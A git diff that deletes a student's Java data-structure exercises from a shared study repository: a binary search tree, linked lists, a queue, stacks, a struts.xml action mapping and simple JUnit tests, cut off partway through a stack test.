diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/BinaryTreeNode.java b/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/BinaryTreeNode.java
deleted file mode 100644
index 80f7f78751..0000000000
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/BinaryTreeNode.java
+++ /dev/null
@@ -1,76 +0,0 @@
-package org.pan.coding2017.basic;
-
-/**
- * Created by QiPan on 2017/2/23.
- */
-public class BinaryTreeNode<Key extends Comparable<Key>, Value> {
-
-    private Node root;
-
-    private class Node {
-        private Key key;
-        private Value value;
-        private Node left, right;  //指向子树的链接
-        private int N;             // 以该节点为根的子树节点总数
-        public Node(Key key, Value value, int N) {
-            this.key = key;
-            this.value = value;
-            this.N = N;
-        }
-    }
-
-    public int size() {
-        return size(root);
-    }
-
-    private int size(Node x) {
-        if (x == null) return 0;
-        else return x.N;
-    }
-    
-    public Value get(Key key){
-        return get(root, key);
-    }
-
-    private Value get(Node x, Key key) {
-        // 如果根节点也是Null 那么返回null
-        if (x == null){
-            return null;
-        }
-        // 拿需要查询的key 与 根节点的 key 比较
-        int cmp = key.compareTo(x.key);
-        if (cmp < 0){ // 如果小于0 那么去左子树上查询,并且递归调用
-            return get(x.left, key);
-        }else if (cmp > 0){// 如果大于0 那么去右子树上查询,并且递归调用
-            return get(x.right, key);
-        }else {
-            return x.value;
-        }
-    }
-
-    public void push(Key key, Value value){
-        // 查询key, 找到则更新它的值，否则就创建
-        root = put(root, key, value);
-    }
-
-    private Node put(Node x, Key key, Value value) {
-        // 如果key 存在于以 x 为根节点的子树中 则更新它的值
-        // 否则将以key 和 value 为键值对的新节点插入到该子树中
-
-        if (x == null){
-            return new Node(key, value, 1);
-        }
-        int cmp = key.compareTo(x.key);
-        if (cmp < 0 ){
-            x.left  = put(x.left, key, value);
-        }else if (cmp > 0){
-            x.right = put(x.right, key, value);
-        }else { // 存在更新值
-            x.value = value;
-        }
-        // 重新统计节点总数
-        x.N = size(x.left) + size(x.right) + 1;
-        return x;
-    }
-
-}
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/Iterator.java b/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/Iterator.java
deleted file mode 100644
index 3d1849f1a0..0000000000
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/Iterator.java
+++ /dev/null
@@ -1,12 +0,0 @@
-package org.pan.coding2017.basic;
-
-/**
- * Created by QiPan on 2017/2/23.
- */
-public interface Iterator {
-    boolean hasNext();
-
-    Object next();
-
-    void remove();
-}
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/LinkedList.java b/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/LinkedList.java
deleted file mode 100644
index 015ac3d59d..0000000000
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/LinkedList.java
+++ /dev/null
@@ -1,121 +0,0 @@
-package org.pan.coding2017.basic;
-
-/**
- * Created by QiPan on 2017/2/23.
- */
-public class LinkedList {
-
-    private Node head;
-    private int size;
-    public LinkedList() {
-        head = new Node(null, null);
-        size = 0;
-    }
-
-    public void add(Object o){
-        add(size, o);
-    }
-
-    public void add(int index , Object o){
-        if (index > size || index < 0) {
-            throw new IndexOutOfBoundsException(outOfBoundsMsg(index));
-        }
-        Node frontNode = getNode(index-1);
-        Node newNode = new Node(o, frontNode.next);
-        frontNode.next = newNode;
-        size++;
-
-    }
-
-    private Node getNode(int index) {
-        Node node = head;
-        int i = 0;
-        while(node.next != null && i <= index) {
-            node = node.next;
-            i++;
-        }
-        return node;
-    }
-
-    public Object get(int index){
-        if (index >= size || index < 0) {
-            throw new IndexOutOfBoundsException(outOfBoundsMsg(index));
-        }
-
-        Node node = getNode(index);
-        return node.data;
-    }
-
-    public Object remove(int index){
-        if (index >= size || index < 0) {
-            throw new IndexOutOfBoundsException(outOfBoundsMsg(index));
-        }
-        Node frontNode = getNode(index-1);
-        Node oldNode = getNode(index);
-        frontNode.next = oldNode.next;
-        size--;
-        return oldNode.data;
-    }
-
-    public int size(){
-        return size;
-    }
-
-    public void addFirst(Object o){
-        add(0, o);
-    }
-
-    public void addLast(Object o){
-        add(size, o);
-    }
-
-    public Object removeFirst(){
-        return remove(0);
-    }
-
-    public Object removeLast(){
-        return remove(size-1);
-    }
-
-    public Iterator iterator(){
-        return new LinkedListIterator();
-    }
-
-    private class LinkedListIterator implements Iterator {
-        int index;
-        final int capacity = size;
-        LinkedListIterator() {
-            index = 0;
-        }
-        @Override
-        public boolean hasNext() {
-            return index < capacity;
-        }
-
-        @Override
-        public Object next() {
-            return get(index++);
-        }
-
-        @Override
-        public void remove() {
-
-        }
-    }
-
-    private String outOfBoundsMsg(int index) {
-        return "index:" + index + ", size:" + size;
-    }
-
-    private static  class Node {
-        Object data;
-        Node next;
-
-        Node(Object data, Node next) {
-            this.data = data;
-            this.next = next;
-        }
-    }
-
-
-}
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/List.java b/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/List.java
deleted file mode 100644
index 82e72e1080..0000000000
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/List.java
+++ /dev/null
@@ -1,14 +0,0 @@
-package org.pan.coding2017.basic;
-
-
-/**
- * Created by QiPan on 2017/2/23.
- */
-public interface List {
-
-    void add(Object o);
-    void add(int index, Object o);
-    Object get(int index);
-    Object remove(int index);
-    int size();
-}
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/Queue.java b/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/Queue.java
deleted file mode 100644
index af478b4288..0000000000
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/Queue.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package org.pan.coding2017.basic;
-
-/**
- * Created by QiPan on 2017/2/23.
- * 队列，链表实现版本
- */
-public class Queue<E> {
-
-    private Node first;
-    private Node last;
-    private int N;
-
-    private class Node {
-        E item;
-        Node next;
-    }
-
-    public void enQueue(E e) {
-        // 向表尾添加元素
-        Node oldLast = last;
-        last = new Node();
-        last.item = e;
-        last.next = null;
-        if (isEmpty()){// 如果是往空的队列里面添加东西。那么首尾链表都是指向第一个元素
-            first = last;
-        }else {
-
-            oldLast.next = last;
-        }
-        N++;
-    }
-
-    public E deQueue() {
-        E item = first.item;
-        first = first.next;
-        if (isEmpty()){
-            last = null;
-        }
-        N--;
-        return item;
-    }
-
-    public boolean isEmpty() {
-        return first == null;
-    }
-
-    public int size() {
-        return N;
-    }
-}
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/Stack.java b/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/Stack.java
deleted file mode 100644
index 918db8f70d..0000000000
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/Stack.java
+++ /dev/null
@@ -1,51 +0,0 @@
-package org.pan.coding2017.basic;
-
-/**
- * Created by QiPan on 2017/2/23.
- */
-public class Stack<E> {
-
-    private E[] elements;
-    // 记录元素当前位置
-    private int N;
-
-    public Stack(int cap) {
-        elements = (E[]) new Object[cap];
-    }
-
-    public boolean isEmpty() {
-        return N == 0;
-    }
-
-    public int size() {
-        return N;
-    }
-
-    public void push(E e) {
-        // 如果 N 和数组的长度已经相同，就进行扩容
-        if (N == elements.length) {
-            resize(2 * elements.length);
-        }
-        elements[N++] = e;
-    }
-
-    public E pop() {
-        E element = elements[--N];
-        elements[N] = null;// 避免对象游离
-        // 如果元素值剩下容量的1/4，那么就把数组容量变成现在的一半
-        if (N > 0 && N == elements.length / 4) {
-            resize(elements.length / 2);
-        }
-        return element;
-    }
-
-    private void resize(int max) {
-        E[] elementTmps = (E[]) new Object[max];
-        for (int i = 0; i < N; i++) {
-            elementTmps[i] = elements[i];
-        }
-        // 指向扩容的数组
-        elements = elementTmps;
-    }
-
-}
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/Stack2.java b/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/Stack2.java
deleted file mode 100644
index 2a056b8bbf..0000000000
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/Stack2.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package org.pan.coding2017.basic;
-
-/**
- * Created by Pan on 2017/2/25.
- * 栈（链表实现）： 下压栈。操作栈顶元素
- */
-public class Stack2<E> {
-
-    private Node first;
-    private int N;
-
-    private class Node {
-        E item;
-        Node next;
-    }
-
-    public boolean isEmpty(){
-        return first == null;
-    }
-
-    public int size(){
-        return  N;
-    }
-
-    /**
-     * 向栈顶添加元素
-     * @param element
-     */
-    public void push (E element){
-        Node oldFirst = first;
-        first = new Node();
-        first.item = element;
-        first.next = oldFirst;
-        N++;
-    }
-
-    /**
-     * 弹出栈顶元素
-     * @return
-     */
-    public E pop(){
-        E item = first.item;
-        first = first.next;
-        N--;
-        return item;
-    }
-}
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic2/LinkedList.java b/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic2/LinkedList.java
deleted file mode 100644
index 5286f27746..0000000000
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic2/LinkedList.java
+++ /dev/null
@@ -1,429 +0,0 @@
-package org.pan.coding2017.basic2;
-
-import org.pan.coding2017.basic.Iterator;
-import org.pan.coding2017.basic.List;
-
-public class LinkedList implements List {
-
-	private Node head;
-	private Node tail;
-	private int size=0;
-
-	private void checkIndex(int index){
-		if(index<0 || index>=this.size)
-		{
-			throw new IndexOutOfBoundsException("Error!Invalid index:"+index);
-		}
-	}
-
-	private void checkSize(){
-		if(size==0)
-		{
-			throw new RuntimeException("Empty LinkedList.");
-		}
-	}
-
-	public void add(Object o){
-		Node temp = new Node(o,null);
-		if(this.head==null){
-			this.head = temp;
-			this.tail = head;
-		}else{
-			this.tail.next = temp;
-			this.tail = temp;
-		}
-		this.size++;
-	}
-
-	/* (non-Javadoc)
-	 * @see com.coding.basic2.List#add(int, java.lang.Object)
-	 */
-	public void add(int index , Object o){
-		checkIndex(index);
-		if(index==0)
-		{
-			Node newNode = new Node(o,head);
-			head = newNode;
-		}else{
-			Node temp = head;
-			for(int i=1;i<index;i++){
-				temp = head.next;
-			}
-			Node newNode = new Node(o,temp.next);
-			temp.next = newNode;
-		}
-		this.size++;
-	}
-	public Object get(int index){
-		checkIndex(index);
-		if(index==0)
-		{
-			return this.head.data;
-		}else if(index==this.size-1)
-		{
-			return this.tail.data;
-		}else{
-			Node temp = head;
-			for(int i=0;i<index;i++)
-			{
-				temp = temp.next;
-			}
-			return temp.data;
-		}
-	}
-
-	@Override
-	public String toString(){
-		StringBuilder sb = new StringBuilder();
-		if(this.size>0){
-			Node temp = head;
-			sb.append(temp.data);
-			while(temp.hasNext()){
-				temp = temp.next;
-				sb.append(",");
-				sb.append(temp.data);
-			}
-		}
-		return sb.toString();
-	}
-
-	public Object remove(int index){
-		checkIndex(index);
-		Node temp = head;
-		Node pre = head;
-		Object result;
-		if(index == 0)
-		{
-			result = head.data;
-			head = head.next;
-		}else{
-			for(int i=0;i<index;i++)
-			{
-				if(i>0)
-				{
-					pre=pre.next;
-				}
-				temp=temp.next;
-			}
-			result = temp.data;
-			pre.next=temp.next;
-			temp = null;
-
-
-			if(index == size-1)
-			{
-				tail = pre;
-			}
-		}
-		size--;
-
-		return result;
-	}
-
-	public int size(){
-		return this.size;
-	}
-
-	public void addFirst(Object o){
-		Node temp = new Node(o,head);
-		head = temp;
-		size++;
-
-	}
-	public void addLast(Object o){
-		Node temp = new Node(o,null);
-		tail.next = temp;
-		tail = temp;
-		size++;
-	}
-	public Object removeFirst(){
-		return remove(0);
-	}
-	public Object removeLast(){
-		return remove(size-1);
-	}
-	public Iterator iterator(){
-		return new LinkedListIterator();
-	}
-
-	private class LinkedListIterator implements Iterator{
-		private Node current = head;
-
-		@Override
-		public boolean hasNext()
-		{
-			return current!=null;
-		}
-
-		@Override
-		public Object next() {
-			if(current==null)
-			{
-				throw new RuntimeException("Current element has not next.");
-			}
-
-			Object result = current.data;
-			current = current.next;
-			return result;
-		}
-
-		@Override
-		public void remove() {
-
-		}
-
-	}
-
-
-	private static  class Node{
-		Object data;
-		Node next;
-		public boolean hasNext(){
-			return (this.next!=null);
-		}
-
-		public Node(Object data,Node next){
-			this.data=data;
-			this.next=next;
-		}
-	}
-
-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public  void reverse(){
-		checkSize();
-		int tempSize = size;
-		Node temp = new Node(removeFirst(),null);
-		tail = temp;
-		while(size>0){
-			temp = new Node(removeFirst(),temp);
-		}
-		head = temp;
-		size = tempSize;
-	}
-
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	public  void removeFirstHalf(){
-		checkSize();
-		if(size>1)
-		{
-			int temp = size;
-			for(int i=0;i<temp/2;i++){
-				removeFirst();
-			}
-		}
-	}
-
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public  void remove(int i, int length){
-		checkSize();
-		if(length>size-i)
-		{
-			throw new RuntimeException("No enough size to remove from index:"+i);
-		}else{
-			for(int j=0;j<length;j++)
-			{
-				remove(i);
-			}
-		}
-
-	}
-	/**
-	 * 假定当前链表和list均包含已升序排列的整数
-	 * 从当前链表中取出那些list所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]
-	 * @param list
-	 */
-	public int[] getElements(LinkedList list){
-		if(size==0||list.size==0){
-			return new int[0];
-		}else{
-			int[] result = new int[list.size()];
-			Node temp = head;
-			int currentPos = 0;
-			for(int i=0;i<list.size();i++)
-			{
-				int pos = (int)list.get(i);
-				while(temp!=null && currentPos<=pos)
-				{
-					if(currentPos<pos){
-						temp = temp.next;
-						currentPos++;
-						continue;
-					}else{
-						result[i] = (int)temp.data;
-						temp = temp.next;
-						currentPos++;
-						break;
-					}
-				}
-			}
-			return result;
-		}
-	}
-	private static String concatArray(int[] array){
-		StringBuilder sb = new StringBuilder();
-		for(int i=0;i<array.length;i++)
-		{
-			sb.append(array[i]).append(",");
-		}
-		return sb.toString();
-	}
-
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在list中出现的元素
-
-	 * @param list
-	 */
-
-	public  void subtract(LinkedList list){
-		for(int i=0;i<list.size();i++)
-		{
-			int val = (int)list.get(i);
-
-			for(int j=0;j<size();j++){
-				int tempVal = (int)get(j);
-				if(tempVal>val){
-					break;
-				}else if(tempVal==val){
-					remove(j);
-					break;
-				}else{
-					continue;
-				}
-			}
-		}
-	}
-
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public  void removeDuplicateValues(){
-		Node temp = head;
-		while(temp!=null){
-			while(temp.hasNext()&&temp.data.equals(temp.next.data))
-			{
-				temp.next = temp.next.next;
-				size--;
-			}
-			temp = temp.next;
-		}
-	}
-
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 */
-	public  void removeRange(int min, int max){
-		int headVal = (int)head.data;
-		int tailVal = (int)tail.data;
-		//if all the values in linkedList fall into the range, clean up;
-		if(min<=headVal && max>=tailVal)
-		{
-			System.out.println("min<=headVal && max>=tailVal");
-			head = null;
-			tail = null;
-			size = 0;
-		}else{
-			Node preRange = null;
-			Node sufRange = null;
-			Node temp = head;
-			int counter = 0;
-			while(temp!=null){
-				if((int)temp.data<min && temp.hasNext() && (int)temp.next.data>=min)
-				{
-					preRange = temp;
-					System.out.println("Found preRange node, val="+temp.data+",next val="+temp.next.data);
-				}
-				if((int)temp.data>max){
-					sufRange = temp;
-					System.out.println("Found sufRange node, val="+temp.data+",next val="+(temp.hasNext()?temp.next.data:null));
-					break;
-				}
-				if((int)temp.data>=min && (int)temp.data<=max)
-				{
-					counter++;
-				}
-				System.out.println("Counter="+counter);
-				temp = temp.next;
-			}
-			if(min<=headVal){
-				head = sufRange;
-			}
-			if(max>=tailVal){
-				tail = preRange;
-			}
-			if(preRange!=null){
-				preRange.next = sufRange;
-			}
-			size -= counter;
-		}
-
-	}
-
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  LinkedList intersection( LinkedList list){
-		if(size==0 || list==null || list.size()==0)
-		{
-			return new LinkedList();
-		}else{
-			int pos1=0;
-			int pos2=0;
-			LinkedList result = new LinkedList();
-			while(pos1<size||pos2<list.size())
-			{
-				int val1 = (int)get(pos1);
-				int val2 = (int)list.get(pos2);
-				if(val1==val2)
-				{
-					result.add(val1);
-					if(pos1<size-1 && pos2<list.size()-1){
-						pos1++;
-						pos2++;
-					}else{
-						break;
-					}
-				}else if(val1>val2)
-				{
-					if(pos2<list.size()-1){
-						pos2++;
-						continue;
-					}else{
-						break;
-					}
-				}else if(val1<val2)
-				{
-					if(pos1<size-1)
-					{
-						pos1++;
-						continue;
-					}else{
-						break;
-					}
-				}
-			}
-			return result;
-		}
-	}
-}
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api/ConnectionException.java b/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api/ConnectionException.java
deleted file mode 100644
index cb3a1b6d0a..0000000000
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api/ConnectionException.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package org.pan.coding2017.multThreadDownload.api;
-
-public class ConnectionException extends Exception {
-    public ConnectionException(Exception e){
-        super(e);
-    }
-}
diff --git a/group11/252308879/dataStructure/src/main/resources/struts.xml b/group11/252308879/dataStructure/src/main/resources/struts.xml
deleted file mode 100644
index 35830922ba..0000000000
--- a/group11/252308879/dataStructure/src/main/resources/struts.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<struts>
-    <action name="login" class="org.pan.coding2017.parsingXML.LoginAction">
-        <result name="success">/jsp/homepage.jsp</result>
-        <result name="fail">/jsp/showLogin.jsp</result>
-    </action>
-    <action name="logout" class="org.pan.coding2017.parsingXML.LoginAction">
-    	<result name="success">/jsp/welcome.jsp</result>
-    	<result name="error">/jsp/error.jsp</result>
-    </action>
-</struts>
\ No newline at end of file
diff --git a/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/TestJavaUtilArrayList.java b/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/TestJavaUtilArrayList.java
deleted file mode 100644
index 281a5bf07b..0000000000
--- a/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/TestJavaUtilArrayList.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package org.pan.coding2017;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Created by QiPan on 2017/2/23.
- */
-public class TestJavaUtilArrayList {
-
-
-    @Test
-    public void testAdd() {
-        List arrayList = new ArrayList(5);
-        arrayList.add(new Object());
-        System.out.println("sssssssssssss");
-    }
-
-    @Test
-    public void testRightShift() {
-        int x = 5;
-
-        x = x << 1;
-        x = x >> 1;
-        System.out.println(x);
-    }
-
-}
diff --git a/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/array/ArrayUtilTest.java b/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/array/ArrayUtilTest.java
deleted file mode 100644
index 29ab6bf6dc..0000000000
--- a/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/array/ArrayUtilTest.java
+++ /dev/null
@@ -1,89 +0,0 @@
-package org.pan.coding2017.array;
-
-import org.junit.Test;
-
-import java.util.Arrays;
-
-/**
- * Created by QiPan on 2017/2/27.
- */
-public class ArrayUtilTest {
-
-    @Test
-    public void removeZero() throws Exception {
-        int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5};
-        System.out.println("removeZero 移除0之前： "+ Arrays.toString(oldArr));
-        int[] newArrays = ArrayUtil.removeZero(oldArr);
-        System.out.println("removeZero 移除0之后： "+ Arrays.toString(newArrays));
-    }
-
-    @Test
-    public void removeZero_2() throws Exception {
-        int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5};
-        System.out.println("removeZero_2 移除0之前： "+ Arrays.toString(oldArr));
-        int[] newArrays = ArrayUtil.removeZero_2(oldArr);
-        System.out.println("removeZero_2 移除0之后： "+ Arrays.toString(newArrays));
-    }
-
-    @Test
-    public void reverseArray() throws Exception {
-        int[] array = new int[]{7, 9 , 30, 3};
-        int[] array2 = new int[] {7, 9, 30, 3, 4};
-        System.out.println("置换前: " + Arrays.toString(array));
-        ArrayUtil.reverseArray(array);
-        System.out.println("置换后: "+ Arrays.toString(array));
-        System.out.println("置换前: " + Arrays.toString(array2));
-        ArrayUtil.reverseArray(array2);
-        System.out.println("置换后: "+ Arrays.toString(array2));
-    }
-
-    @Test
-    public void merge() throws Exception {
-        int[] a1 = {3, 5, 7,8},  a2 = {4, 5, 6,7};
-        //则 a3 为[3,4,5,6,7,8]
-        int[] merge = ArrayUtil.merge(a1, a2);
-        System.out.println(Arrays.toString(merge));
-    }
-
-    @Test
-    public void grow() throws Exception {
-        int[] oldArray = {2,3,6} ;
-        int size = 3;
-        System.out.println("grow 之前："+ Arrays.toString(oldArray));
-        int[] newArrays = ArrayUtil.grow(oldArray, size);
-        System.out.println("grow 之后："+ Arrays.toString(newArrays));
-
-    }
-
-    @Test
-    public void fibonacci() throws Exception {
-    //max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
-        int[] fibonacci = ArrayUtil.fibonacci(988);
-        System.out.println(Arrays.toString(fibonacci));
-    }
-
-    @Test
-    public void getPrimes() throws Exception {
-        //例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-        int[] primes = ArrayUtil.getPrimes(23);
-        System.out.println(Arrays.toString(primes));
-    }
-
-    @Test
-    public void getPerfectNumbers() throws Exception {
-        int[] primes = ArrayUtil.getPerfectNumbers(10000);
-        System.out.println(Arrays.toString(primes));
-    }
-
-    @Test
-    public void join() throws Exception {
-        int [] array= {3,8,9};
-        String seperator = "-";
-        String result = ArrayUtil.join(array, seperator);
-        System.out.println(result);
-    }
-
-
-
-
-}
\ No newline at end of file
diff --git a/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/ArrayListTest.java b/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/ArrayListTest.java
deleted file mode 100644
index f93876522a..0000000000
--- a/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/ArrayListTest.java
+++ /dev/null
@@ -1,74 +0,0 @@
-package org.pan.coding2017.basic;
-
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by Pan on 2017/2/26.
- */
-public class ArrayListTest {
-
-    ArrayList arrayList;
-
-    @Before
-    public void  before(){
-        arrayList = new ArrayList();
-        arrayList.add(1);
-        arrayList.add(2);
-        arrayList.add(3);
-    }
-
-    @Test
-    public void add() throws Exception {
-        ArrayList arrayList = new ArrayList();
-        arrayList.add(3);
-        System.out.println(arrayList);
-    }
-
-    @Test
-    public void set() throws Exception {
-        arrayList.add(3);
-        arrayList.set(0, 4);
-        System.out.println(arrayList);
-    }
-
-    @Test
-    public void get() throws Exception {
-        arrayList.add(1);
-        arrayList.add(2);
-        arrayList.add(3);
-        Object o = arrayList.get(1);
-        System.out.println(o);
-    }
-
-    @Test
-    public void remove() throws Exception {
-        arrayList.add(1);
-        arrayList.add(2);
-        arrayList.add(3);
-        arrayList.remove(1);
-        System.out.println(arrayList);
-    }
-
-    @Test
-    public void size() throws Exception {
-        System.out.println(arrayList.size());
-    }
-
-    @Test
-    public void isEmpty() throws Exception {
-        System.out.println(arrayList.isEmpty());
-    }
-
-    @Test
-    public void iterator() throws Exception {
-        Iterator iterator = arrayList.iterator();
-        while (iterator.hasNext()){
-            Object next = iterator.next();
-            System.out.println(next);
-            iterator.remove();
-        }
-        System.out.println(arrayList.isEmpty());
-    }
-
-}
\ No newline at end of file
diff --git a/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/BinaryTreeNodeTest.java b/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/BinaryTreeNodeTest.java
deleted file mode 100644
index 4c3c01cd73..0000000000
--- a/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/BinaryTreeNodeTest.java
+++ /dev/null
@@ -1,38 +0,0 @@
-package org.pan.coding2017.basic;
-
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by Pan on 2017/2/26.
- */
-public class BinaryTreeNodeTest {
-
-    BinaryTreeNode binaryTreeNode;
-
-    @Before
-    public void setUp() throws Exception {
-        binaryTreeNode = new BinaryTreeNode();
-        binaryTreeNode.push(1, "A");
-        binaryTreeNode.push(2, "B");
-        binaryTreeNode.push(3, "C");
-        binaryTreeNode.push(4, "D");
-    }
-
-    @Test
-    public void size() throws Exception {
-        System.out.println(binaryTreeNode.size());
-    }
-
-    @Test
-    public void get() throws Exception {
-        System.out.println(binaryTreeNode.get(3));
-    }
-
-    @Test
-    public void push() throws Exception {
-        binaryTreeNode.push(5, "E");
-        System.out.println(binaryTreeNode);
-    }
-
-}
\ No newline at end of file
diff --git a/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/LinkedListTest.java b/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/LinkedListTest.java
deleted file mode 100644
index 135e052218..0000000000
--- a/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/LinkedListTest.java
+++ /dev/null
@@ -1,80 +0,0 @@
-package org.pan.coding2017.basic;
-
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by Pan on 2017/2/26.
- */
-public class LinkedListTest {
-
-    org.pan.coding2017.basic2.LinkedList linkedList;
-
-    @Before
-    public void setUp() throws Exception {
-        linkedList = new org.pan.coding2017.basic2.LinkedList();
-        linkedList.add(0);
-        linkedList.add(1);
-        linkedList.add(2);
-        linkedList.add(3);
-    }
-
-    @Test
-    public void add() throws Exception {
-        linkedList.add(0);
-        System.out.println(linkedList);
-    }
-
-    @Test
-    public void get() throws Exception {
-        Object o = linkedList.get(1);
-        System.out.println(o);
-    }
-
-    @Test
-    public void remove() throws Exception {
-        linkedList.remove(1);
-        System.out.println(linkedList);
-    }
-
-    @Test
-    public void size() throws Exception {
-        System.out.println(linkedList.size());
-    }
-
-    @Test
-    public void addFirst() throws Exception {
-        linkedList.addFirst(4);
-        System.out.println(linkedList);
-    }
-
-    @Test
-    public void addLast() throws Exception {
-        linkedList.addLast(5);
-        System.out.println(linkedList);
-    }
-
-    @Test
-    public void removeFirst() throws Exception {
-        linkedList.removeFirst();
-        System.out.println(linkedList);
-    }
-
-    @Test
-    public void removeLast() throws Exception {
-        linkedList.removeLast();
-        System.out.println(linkedList);
-    }
-
-    @Test
-    public void iterator() throws Exception {
-        Iterator iterator = linkedList.iterator();
-        while (iterator.hasNext()){
-            Object next = iterator.next();
-            System.out.println(next);
-            iterator.remove();
-        }
-        System.out.println(linkedList);
-    }
-
-}
\ No newline at end of file
diff --git a/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/QueueTest.java b/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/QueueTest.java
deleted file mode 100644
index c720e7d95e..0000000000
--- a/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/QueueTest.java
+++ /dev/null
@@ -1,44 +0,0 @@
-package org.pan.coding2017.basic;
-
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by Pan on 2017/2/26.
- */
-public class QueueTest {
-
-    Queue queue;
-
-    @Before
-    public void setUp() throws Exception {
-        queue = new Queue();
-        queue.enQueue(1);
-        queue.enQueue(2);
-        queue.enQueue(3);
-
-    }
-
-    @Test
-    public void enQueue() throws Exception {
-        queue.enQueue(1);
-        System.out.println(queue);
-    }
-
-    @Test
-    public void deQueue() throws Exception {
-        queue.deQueue();
-        System.out.println(queue);
-    }
-
-    @Test
-    public void isEmpty() throws Exception {
-        System.out.println(queue.isEmpty());
-    }
-
-    @Test
-    public void size() throws Exception {
-        System.out.println(queue.size());
-    }
-
-}
\ No newline at end of file
diff --git a/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/StackTest.java b/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/StackTest.java
deleted file mode 100644
index df85b797d4..0000000000
--- a/group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/StackTest.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package org.pan.coding2017.basic;
-
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by Pan on 2017/2/26.
- */
-public class StackTest {
-
-    Stack stack;
-
-    @Before
-    public void setUp() throws Exception {
-        stack = new Stack(3);
-        stack.push(1);
-        stack.push(2);
-        stack.push(3);
-    }
-
-    @Test
-    public void isEmpty() throws Exception {
-        System.out.println(stack.isEmpty());
-    }
-
-    @Test
-    public void size() throws Exception {
-        System.out.println(stack.size());
-    }
-
-    @Test
